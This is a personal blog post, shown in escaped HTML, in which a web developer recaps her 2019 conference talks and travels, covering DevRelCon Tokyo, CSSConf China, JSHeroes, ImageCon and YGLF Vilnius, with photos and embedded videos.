&lt;p&gt;Time doesn&apos;t stand still. And dates are simply mental milestones we use to commemorate significant events in our lives. If you choose to take a rational view on this, it is simply our way of assigning meaning to a meaningless thing. But humans are not rational beings. And it is the most human thing, in my eyes, to remember the past.&lt;/p&gt;
&lt;p&gt;I&apos;ve been speaking internationally for 2 years now (&lt;a href=&quot;/blog/talking-about-talking-css/&quot;&gt;2017 recap&lt;/a&gt;, &lt;a href=&quot;/blog/speaking-in-2018/&quot;&gt;2018 recap&lt;/a&gt;), and it still feels surreal every time I stand in front of an audience. And I still feel immense gratitude to organisers who bring me out. I don&apos;t think that will ever change, but if it does, someone please hit me with a mallet.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;#--devrelcon-tokyo&quot;&gt;DevRelCon Tokyo 2019 @ &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;Japan&quot;&gt;🇯🇵&lt;/span&gt; on 9 Mar&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#--cssconf-china&quot;&gt;CSSConf China 2019 @ &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;China&quot;&gt;🇨🇳&lt;/span&gt; on 30 Mar&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#--jsheroes&quot;&gt;JSHeroes 2019 @ &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;Romania&quot;&gt;🇷🇴&lt;/span&gt; on 24 Apr&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#--imagecon&quot;&gt;ImageCon 2019 @ &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;United States of America&quot;&gt;🇺🇸&lt;/span&gt; on 2 May&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#--yglf-vilnius&quot;&gt;YGLF Vilnius 2019 @ &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;Lithuania&quot;&gt;🇱🇹&lt;/span&gt; on 16 May&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#--cssconf-eu&quot;&gt;CSSConf EU 2019 @ &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;Germany&quot;&gt;🇩🇪&lt;/span&gt; on 31 May&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#--pixel-pioneers-bristol&quot;&gt;Pixel Pioneers Bristol 2019 @ &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;United Kingdom&quot;&gt;🇬🇧&lt;/span&gt; on 7 Jun&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#--jsconfasia&quot;&gt;JSConf.Asia 2019 @ &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;Singapore&quot;&gt;🇸🇬&lt;/span&gt; on 14 Jun&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#--mozilla-developer-roadshow-eu&quot;&gt;Mozilla Developer Roadshow Europe @ &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;Germany&quot;&gt;🇩🇪&lt;/span&gt;&lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;Austria&quot;&gt;🇦🇹&lt;/span&gt; from 26–29 Aug&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#--connect-asia-2019&quot;&gt;CONNECT Asia 2019 @ &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;Singapore&quot;&gt;🇸🇬&lt;/span&gt; on 31 Aug&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#--connect-fest-2019&quot;&gt;Connect Fest 2019 @ &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;Portugal&quot;&gt;🇵🇹&lt;/span&gt; on 6 Sep&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#--web-weekend-kathmandu-2019&quot;&gt;Web Weekend Kathmandu 2019 @ &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;Nepal&quot;&gt;🇳🇵&lt;/span&gt; on 21 Sep&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#--jekyllconf-2019&quot;&gt;JekyllConf 2019 @ &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;Remote&quot;&gt;🌐&lt;/span&gt; on 22 Sep&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#--finch-frontend&quot;&gt;Finch Front-end 2019 @ &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;Scotland&quot;&gt;🏴󠁧󠁢󠁳󠁣󠁴󠁿&lt;/span&gt; on 23 Sep&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#--cssconf-budapest&quot;&gt;CSSConf Budapest 2019 @ &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;Hungary&quot;&gt;🇭🇺&lt;/span&gt; on 25 Sep&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#--view-source-2019&quot;&gt;View Source 2019 @ &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;The Netherlands&quot;&gt;🇳🇱&lt;/span&gt; on 1 Oct&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#--fronteers-2019&quot;&gt;Fronteers 2019 @ &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;The Netherlands&quot;&gt;🇳🇱&lt;/span&gt; on 3 Oct&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#--mozilla-developer-roadshow-asia&quot;&gt;Mozilla Developer Roadshow Asia @ &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;Japan&quot;&gt;🇯🇵&lt;/span&gt;&lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;South Korea&quot;&gt;🇰🇷&lt;/span&gt;&lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;Taiwan&quot;&gt;🇹🇼&lt;/span&gt;&lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;Singapore&quot;&gt;🇸🇬&lt;/span&gt;&lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;Thailand&quot;&gt;🇹🇭&lt;/span&gt; from 11–20 Nov&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#--devfest--bizfest-georgetown-2019&quot;&gt;DevFest &amp;amp; BizFest Georgetown 2019 @ &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;Malaysia&quot;&gt;🇲🇾&lt;/span&gt; on 30 Nov&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#--devfest-kuala-lumpur-2019&quot;&gt;DevFest Kuala Lumpur 2019 @ &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;Malaysia&quot;&gt;🇲🇾&lt;/span&gt; on 7 Dec&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;&lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;Japan&quot;&gt;🇯🇵&lt;/span&gt; @ DevRelCon Tokyo&lt;/h2&gt;
&lt;p&gt;I had joined &lt;a href=&quot;https://developer.nexmo.com/&quot;&gt;Nexmo&lt;/a&gt;&apos;s Developer Relations team last September and this was my first &lt;a href=&quot;https://tokyo-2019.devrel.net/&quot;&gt;DevRelCon&lt;/a&gt;. My colleague, Myrsini, was giving a talk on &lt;a href=&quot;https://youtu.be/TcG782Lc5NU&quot;&gt;hackathons as an internal advocacy tool&lt;/a&gt; and I was simply tagging along as an attendee.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/talking-css-2019/devrelcon-480.jpg 480w, /images/posts/talking-css-2019/devrelcon-640.jpg 640w, /images/posts/talking-css-2019/devrelcon-960.jpg 960w, /images/posts/talking-css-2019/devrelcon-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/talking-css-2019/devrelcon-640.jpg&quot; alt=&quot;Family photo after DevRelCon Tokyo 2019&quot;&gt;
&lt;p&gt;She did ask if I wanted to submit a lightning talk, but at that point, I figured I didn&apos;t know enough about DevRel to talk about anything useful. So I said, nope. But as fate would have it, I read the article, &lt;a href=&quot;https://www.theguardian.com/lifeandstyle/2019/feb/23/truth-world-built-for-men-car-crashes&quot;&gt;The deadly truth about a world built for men – from stab vests to car crashes&lt;/a&gt;, just before heading out to the venue.&lt;/p&gt;
&lt;img src=&quot;/images/posts/talking-css-2019/devrelcon3.jpg&quot; srcset=&quot;/images/posts/talking-css-2019/devrelcon3@2x.jpg 2x&quot; alt=&quot;Giving my lightning talk on the Samurai track&quot;&gt;
&lt;p&gt;The content in that article touched a nerve and by the time I made it to the venue, I had this compulsion to submit a lightning talk topic on the value of sharing our perspectives.&lt;/p&gt;
&lt;p&gt;Given how last minute this was, I didn&apos;t REALLY expect to have to give the talk. But during lunch, I found out that the submission was accepted, so it was game on from lunch until my slot at 5pm.&lt;/p&gt;
&lt;p&gt;I pulled together 20 slides, and went through the talk in my head a couple times to get the timing down just right because you do get “samurai-ed” off the stage if you go overtime (I love this idea, by the way).&lt;/p&gt;
&lt;img src=&quot;/images/posts/talking-css-2019/devrelcon2.jpg&quot; srcset=&quot;/images/posts/talking-css-2019/devrelcon2@2x.jpg 2x&quot; alt=&quot;Speaker getting samurai-ed off the stage when time was up&quot;&gt;
&lt;p&gt;Thankfully, the feedback I received was positive and here&apos;s &lt;a href=&quot;/blog/the-value-of-sharing-our-perspectives&quot;&gt;the transcript plus extended recap&lt;/a&gt; of the whole endeavour, if you&apos;re interested.&lt;/p&gt;
&lt;iframe width=&quot;560&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/m9Bp3GGKz8s&quot; frameborder=&quot;0&quot; allow=&quot;autoplay; encrypted-media&quot; allowfullscreen&gt;&lt;/iframe&gt;
&lt;h2&gt;&lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;China&quot;&gt;🇨🇳&lt;/span&gt; @ CSSConf China&lt;/h2&gt;
&lt;p&gt;There were a surprising number of firsts with regards to conference speaking this year. And giving a talk at &lt;a href=&quot;https://css.w3ctech.com/&quot;&gt;CSSConf China&lt;/a&gt; was one of them. Not only because it was my first time in China since 2002, but also because it was my first time delivering a technical talk in Chinese.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/talking-css-2019/cssconfcn-480.jpg 480w, /images/posts/talking-css-2019/cssconfcn-640.jpg 640w, /images/posts/talking-css-2019/cssconfcn-960.jpg 960w, /images/posts/talking-css-2019/cssconfcn-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/talking-css-2019/cssconfcn-640.jpg&quot; alt=&quot;On stage at CSSConf China 2019&quot;&gt;
&lt;p&gt;I consider myself a native Chinese speaker, but it&apos;s one thing to converse about everyday things and quite another to stand on stage and talk about CSS and web technologies. Luckily for me, the fates blessed me by allowing me to cross paths with &lt;a href=&quot;https://twitter.com/wgao19&quot;&gt;Wei&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;You know how you meet someone and even though you&apos;ve just met, you feel like you&apos;ve known them forever? That&apos;s how I felt (I don&apos;t know how she feels about all this, go ask her yourself). I literally asked her the question “OMG, where have you been all my life?” multiple times.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/talking-css-2019/cssconfcn2-480.jpg 480w, /images/posts/talking-css-2019/cssconfcn2-640.jpg 640w, /images/posts/talking-css-2019/cssconfcn2-960.jpg 960w, /images/posts/talking-css-2019/cssconfcn2-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/talking-css-2019/cssconfcn2-640.jpg&quot; alt=&quot;Acknowledgement slide in my CSSConf China talk thanking Wei for being my editor&quot;&gt;
&lt;p&gt;Anyway, she&apos;s originally from Beijing and kindly offered to vet my transcript for the talk, fixing all the ridiculous errors that arise from a person who clearly hasn&apos;t used formal language in a long time.&lt;/p&gt;
&lt;p&gt;CSSConf China was a great experience. It was a community-focused conference with more than 300 attendees. There was one English talk by &lt;a href=&quot;https://twitter.com/brianskold&quot;&gt;Brian Birtles&lt;/a&gt;, while the rest were all in Chinese. Every single speaker was brilliant. What I found fascinating was how each of their unique personalities really shone through on stage.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/talking-css-2019/cssconfcn3-480.jpg 480w, /images/posts/talking-css-2019/cssconfcn3-640.jpg 640w, /images/posts/talking-css-2019/cssconfcn3-960.jpg 960w, /images/posts/talking-css-2019/cssconfcn3-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/talking-css-2019/cssconfcn3-640.jpg&quot; alt=&quot;Family photo after CSSConf China 2019&quot;&gt;
&lt;p&gt;I was totally chuffed for the opportunity to meet my long-time CSS idol, &lt;a href=&quot;https://twitter.com/yuanchuan23&quot;&gt;袁川&lt;/a&gt;, in person, and his talk was one of the most mindblowing talks I&apos;d ever seen. Not just the content, but the delivery of it. He is very soft-spoken, and fairly shy. But he epitomises how sometimes, the most quiet voices speak the loudest.&lt;/p&gt;
&lt;iframe width=&quot;560&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/mEpocRIc3q8?rel=0&quot; frameborder=&quot;0&quot; allow=&quot;autoplay; encrypted-media&quot; allowfullscreen&gt;&lt;/iframe&gt;
&lt;p&gt;If you don&apos;t understand Chinese, here&apos;s my unprofessional attempt at translating the talk: &lt;a href=&quot;https://generative-art-with-css.commons.host/&quot;&gt;https://generative-art-with-css.commons.host/&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;It was really cool to meet a few of the most well-known names in the Chinese frontend community like &lt;a href=&quot;https://www.w3cplus.com/&quot;&gt;大漠&lt;/a&gt;, &lt;a href=&quot;https://jiongks.name/&quot;&gt;赵锦江 (AKA 勾三股四)&lt;/a&gt;, &lt;a href=&quot;https://www.zhangxinxu.com/&quot;&gt;张鑫旭&lt;/a&gt;, &lt;a href=&quot;https://github.com/wintercn&quot;&gt;程劭非 (AKA Winter)&lt;/a&gt; and &lt;a href=&quot;http://johnhax.net/&quot;&gt;贺师俊 (AKA Hax)&lt;/a&gt;. Fun fact, 锦江 has now relocated to Singapore and is having fun with us.&lt;/p&gt;
&lt;iframe width=&quot;560&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/-tZNci6Ajos?rel=0&quot; frameborder=&quot;0&quot; allow=&quot;autoplay; encrypted-media&quot; allowfullscreen&gt;&lt;/iframe&gt;
&lt;h2&gt;&lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;Romania&quot;&gt;🇷🇴&lt;/span&gt; @ JSHeroes&lt;/h2&gt;
&lt;p&gt;My Nexmo DevRel colleague and fellow &lt;a href=&quot;https://events.mozilla.org/techspeakers&quot;&gt;Mozilla TechSpeaker&lt;/a&gt;, &lt;a href=&quot;https://twitter.com/lakatos88&quot;&gt;Alex Lakatos&lt;/a&gt;, is Romanian and happened to live in Cluj for a bit. I had never been to Romania before, but I already had friends there, largely because of TechSpeakers.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/talking-css-2019/jsheroes-480.jpg 480w, /images/posts/talking-css-2019/jsheroes-640.jpg 640w, /images/posts/talking-css-2019/jsheroes-960.jpg 960w, /images/posts/talking-css-2019/jsheroes-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/talking-css-2019/jsheroes-640.jpg&quot; alt=&quot;Techspeakers around Cluj and at JSHeroes&quot;&gt;
&lt;p&gt;&lt;a href=&quot;https://jsheroes.io/&quot;&gt;JSHeroes&lt;/a&gt; was a 2-day single track conference with 23 speakers, a number of whom were friends I had met previously at other conferences, so it was nice to catch up with them.&lt;/p&gt;
&lt;p&gt;There was a lot of amazing content packed into 48 hours (less if you count the actual conference time). This Romania trip also marked the beginning of my sort-of-nuts summer conference schedule for 2019.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;&lt;a href=&quot;https://twitter.com/NikkitaFTW&quot;&gt;Sarah Vieira&lt;/a&gt; and I met “the real” &lt;a href=&quot;https://twitter.com/holtbt&quot;&gt;Brian Holt&lt;/a&gt;&lt;/figcaption&gt;
    &lt;img src=&quot;/images/posts/talking-css-2019/jsheroes2.jpg&quot; srcset=&quot;/images/posts/talking-css-2019/jsheroes2@2x.jpg 2x&quot; alt=&quot;Sarah Vieira and I with the photographer for JSHeroes who has an uncanny resemblance to Brian Holt&quot;&gt;
&lt;/figure&gt;
&lt;p&gt;I was sort of jet-lagged when I got there and when &lt;a href=&quot;https://twitter.com/sarah_edo&quot;&gt;Sarah Drasner&lt;/a&gt; introduced me to &lt;a href=&quot;https://twitter.com/simona_cotin&quot;&gt;Simona Cotin&lt;/a&gt;, who is one of the sweetest people you&apos;ll ever meet, I FORGOT MY OWN NAME for about 3 seconds. One of many facepalm moments in my life.&lt;/p&gt;
&lt;p&gt;My talk was near the end of the second day, which meant I couldn&apos;t really enjoy the conference fully because of that nagging worry about my own talk at the back of my mind. I was doing my web typography talk, which has been remixed and built upon over the past 2 years, and remains one of my favourite talks to give.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/talking-css-2019/jsheroes3-480.jpg 480w, /images/posts/talking-css-2019/jsheroes3-640.jpg 640w, /images/posts/talking-css-2019/jsheroes3-960.jpg 960w, /images/posts/talking-css-2019/jsheroes3-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/talking-css-2019/jsheroes3-640.jpg&quot; alt=&quot;On stage at JSHeroes&quot;&gt;
&lt;p&gt;Largely because this is a talk that allows me a lot of room for localisation, to make it more relevant to the audience I&apos;m speaking to. The research into the language, culture and history of whichever country I&apos;m doing the talk in is one of the greatest benefits of this particular topic.&lt;/p&gt;
&lt;p&gt;I had a true Cluj local, Alex, on my side, and he taught me how to open my talk with specific words that only Cluj people use. So when I opened with “Mno servus oameni buni”, I received the most amazing response from the audience of 700. And I hadn&apos;t even said anything of worth yet.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/talking-css-2019/jsheroes4-480.jpg 480w, /images/posts/talking-css-2019/jsheroes4-640.jpg 640w, /images/posts/talking-css-2019/jsheroes4-960.jpg 960w, /images/posts/talking-css-2019/jsheroes4-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/talking-css-2019/jsheroes4-640.jpg&quot; alt=&quot;Sketchnotes of my talk at JSHeroes&quot;&gt;
&lt;p&gt;Another highlight was &lt;a href=&quot;https://twitter.com/Madalinadraws&quot;&gt;Madalina Tantareanu&lt;/a&gt;, who made live sketchnotes of every speaker&apos;s talk. The entire process was projected on a side screen, which was really cool. JSHeroes was a really cool experience and I definitely recommend it to anyone who&apos;s near the region to attend.&lt;/p&gt;
&lt;iframe width=&quot;560&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/yLQHDGRLOwQ&quot; frameborder=&quot;0&quot; allow=&quot;autoplay; encrypted-media&quot; allowfullscreen&gt;&lt;/iframe&gt;
&lt;h2&gt;&lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;United States of America&quot;&gt;🇺🇸&lt;/span&gt; @ ImageCon&lt;/h2&gt;
&lt;p&gt;Technically, this isn&apos;t a talk about CSS. In fact, the talk I gave was the first full-length non-CSS talk I ever delivered on a conference stage. What happened was, I had tweeted out the year before about how awesome &lt;a href=&quot;https://cloudinary.com/blog/imagecon2018_toward_excellence_in_interactive_visual_media&quot;&gt;the 2018 line-up&lt;/a&gt; looked and unfortunately could only wait for the videos to be released.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/talking-css-2019/imagecon-480.jpg 480w, /images/posts/talking-css-2019/imagecon-640.jpg 640w, /images/posts/talking-css-2019/imagecon-960.jpg 960w, /images/posts/talking-css-2019/imagecon-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/talking-css-2019/imagecon-640.jpg&quot; alt=&quot;On stage at ImageCon&quot;&gt;
&lt;p&gt;&lt;a href=&quot;https://twitter.com/etportis&quot;&gt;Eric Portis&lt;/a&gt; reached out to me end of last year and asked if I&apos;d like to speak at this year&apos;s &lt;a href=&quot;https://www.imagecon.com/&quot;&gt;ImageCon&lt;/a&gt;, and I immediately agreed. It only dawned on me at a much later date that I wasn&apos;t exactly an expert on images. But I always had a fascination with graphics rendering in general.&lt;/p&gt;
&lt;iframe width=&quot;560&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/2ARZmuSi8JI?rel=0&quot; frameborder=&quot;0&quot; allow=&quot;autoplay; encrypted-media&quot; allowfullscreen&gt;&lt;/iframe&gt;
&lt;p&gt;The talk I pitched was a deep dive into images on the web, because I wanted to answer all the questions I had in my head about this topic. The research process was fascinating, and I am so grateful to the experts I reached out to for advice and clarification.&lt;/p&gt;
&lt;img src=&quot;/images/posts/talking-css-2019/imagecon2.jpg&quot; srcset=&quot;/images/posts/talking-css-2019/imagecon2@2x.jpg 2x&quot; alt=&quot;Yiying and I at her art show&quot;&gt;
&lt;p&gt;This particular trip to San Francisco was also a chance for me to catch up with a number of friends who were normally have a planet away. Like &lt;a href=&quot;https://twitter.com/YiyingLu&quot;&gt;Yiying Lu&lt;/a&gt;, who I met almost exactly a year ago, in San Francisco as well. And I finally got to meet &lt;a href=&quot;https://twitter.com/codebeast&quot;&gt;Christian Nwamba&lt;/a&gt; in person! &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;hugging face&quot;&gt;🤗&lt;/span&gt;&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/talking-css-2019/imagecon3-480.jpg 480w, /images/posts/talking-css-2019/imagecon3-640.jpg 640w, /images/posts/talking-css-2019/imagecon3-960.jpg 960w, /images/posts/talking-css-2019/imagecon3-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/talking-css-2019/imagecon3-640.jpg&quot; alt=&quot;Tamas Piros, Christian Nwamba and I at Donut.JS&quot;&gt;
&lt;p&gt;Also went climbing with &lt;a href=&quot;https://twitter.com/mybluewristband&quot;&gt;Jennifer Wong&lt;/a&gt;, hung out at the most creative space ever, and helped out a bit with the &lt;a href=&quot;https://www.facebook.com/events/2979-21st-st-san-francisco-ca-94110-2729-united-states/5x5-art-show-pop-up-shop/444198869673364/&quot;&gt;5x5: Art Show&lt;/a&gt;. Call me slow but it was then I realised that a lot of people I know are based in the Bay Area.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/talking-css-2019/imagecon5-480.jpg 480w, /images/posts/talking-css-2019/imagecon5-640.jpg 640w, /images/posts/talking-css-2019/imagecon5-960.jpg 960w, /images/posts/talking-css-2019/imagecon5-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/talking-css-2019/imagecon5-640.jpg&quot; alt=&quot;Helping out with the painting of the Flower Power exhibit&quot;&gt;
&lt;p&gt;As a Malaysian citizen, entry into the United States can sometimes by iffy, so I&apos;m always appreciative for the opportunity to spend time with friends there when I can.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/talking-css-2019/imagecon4-480.jpg 480w, /images/posts/talking-css-2019/imagecon4-640.jpg 640w, /images/posts/talking-css-2019/imagecon4-960.jpg 960w, /images/posts/talking-css-2019/imagecon4-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/talking-css-2019/imagecon4-640.jpg&quot; alt=&quot;5x5: Art Show&quot;&gt;
&lt;h2&gt;&lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;Lithuania&quot;&gt;🇱🇹&lt;/span&gt; @ YGLF Vilnius&lt;/h2&gt;
&lt;p&gt;Lithuania is a country that I&apos;d known about since I was 13 years old, because of their basketball team. And it was a surprise to me, growing up, that most people hadn&apos;t really heard of Lithuania before. We all have different priorities in life, I suppose.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/talking-css-2019/yglf-480.jpg 480w, /images/posts/talking-css-2019/yglf-640.jpg 640w, /images/posts/talking-css-2019/yglf-960.jpg 960w, /images/posts/talking-css-2019/yglf-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/talking-css-2019/yglf-640.jpg&quot; alt=&quot;My introduction at YGLF featuring the 2004 Lithuanian men&apos;s olympic basketball team&quot;&gt;
&lt;p&gt;I&apos;ve had the good fortune of speaking at 2 prior YGLF conferences and both were really great experiences. So when &lt;a href=&quot;https://twitter.com/bolshchikov&quot;&gt;Sergey Bolshchikov&lt;/a&gt; reached out and asked if I would like to give the opening keynote at &lt;a href=&quot;https://lithuania.yglfconf.com/&quot;&gt;YGLF Vilnius&lt;/a&gt;, there was no way I&apos;d say no.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/talking-css-2019/yglf3-480.jpg 480w, /images/posts/talking-css-2019/yglf3-640.jpg 640w, /images/posts/talking-css-2019/yglf3-960.jpg 960w, /images/posts/talking-css-2019/yglf3-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/talking-css-2019/yglf3-640.jpg&quot; alt=&quot;Charlie and Bæla, Flaki, myself and Wei (with Adrian accidentally photobombing in the background)&quot;&gt;
&lt;p&gt;As luck would have it, Wei was looking for conferences to go to, and I pitched her the idea of coming with me to Lithuania, not expecting her to agree. Nobody had ever taken me up on such offers before, but she said yes. Conference travel buddy! For the first time in my life, might I add.&lt;/p&gt;
&lt;p&gt;The venue was gorgeous and the lighting was great. I inadvertently matched my on-stage outfit to the conference theme colours, so that worked out nicely.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/talking-css-2019/yglf2-480.jpg 480w, /images/posts/talking-css-2019/yglf2-640.jpg 640w, /images/posts/talking-css-2019/yglf2-960.jpg 960w, /images/posts/talking-css-2019/yglf2-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/talking-css-2019/yglf2-640.jpg&quot; alt=&quot;On the YGLF Vilnius stage&quot;&gt;
&lt;p&gt;The content of the conference was amazing, and it was 2 days of awesome speakers covering topics from MIDI, to GraphQL, to Micro-controllers and much more. I&apos;m probably biased because &lt;a href=&quot;https://twitter.com/devdevcharlie&quot;&gt;Charlie Gerard&lt;/a&gt; is one of the coolest people I ever met and I think the world of her, but she did the most boss move of the conference IMHO.&lt;/p&gt;
&lt;blockquote class=&quot;twitter-tweet&quot; data-lang=&quot;en-gb&quot;&gt;&lt;p lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;Street fighter demo 🤺🤼‍♀️🤹🏻‍♀️🎊🎉🙈🐒🐲 and I’m like whoa &lt;br&gt;&lt;br&gt;Machine learning with JavaScript by &lt;a href=&quot;https://twitter.com/devdevcharlie?ref_src=twsrc%5Etfw&quot;&gt;@devdevcharlie&lt;/a&gt; at &lt;a href=&quot;https://twitter.com/hashtag/YGLF19?src=hash&amp;amp;ref_src=twsrc%5Etfw&quot;&gt;#YGLF19&lt;/a&gt; &lt;a href=&quot;https://t.co/MBC42eMg6Z&quot;&gt;pic.twitter.com/MBC42eMg6Z&lt;/a&gt;&lt;/p&gt;&amp;mdash; ᴡᴇɪ 👩🏻‍🌾 (@wgao19) &lt;a href=&quot;https://twitter.com/wgao19/status/1129315416747200512?ref_src=twsrc%5Etfw&quot;&gt;17 May 2019&lt;/a&gt;&lt;/blockquote&gt;
&lt;p&gt;Vilnius is a beautiful city and we got the chance to explore a bit more after the conference with &lt;a href=&quot;https://twitter.com/typeoftomas&quot;&gt;Tomas Miliauskas&lt;/a&gt; and &lt;a href=&quot;https://twitter.com/getify&quot;&gt;Kyle Simpson&lt;/a&gt;. We even sussed out a potential location for the next YGLF. It might be called YGLF Trakai. Stay tuned for updates.&lt;/p&gt;
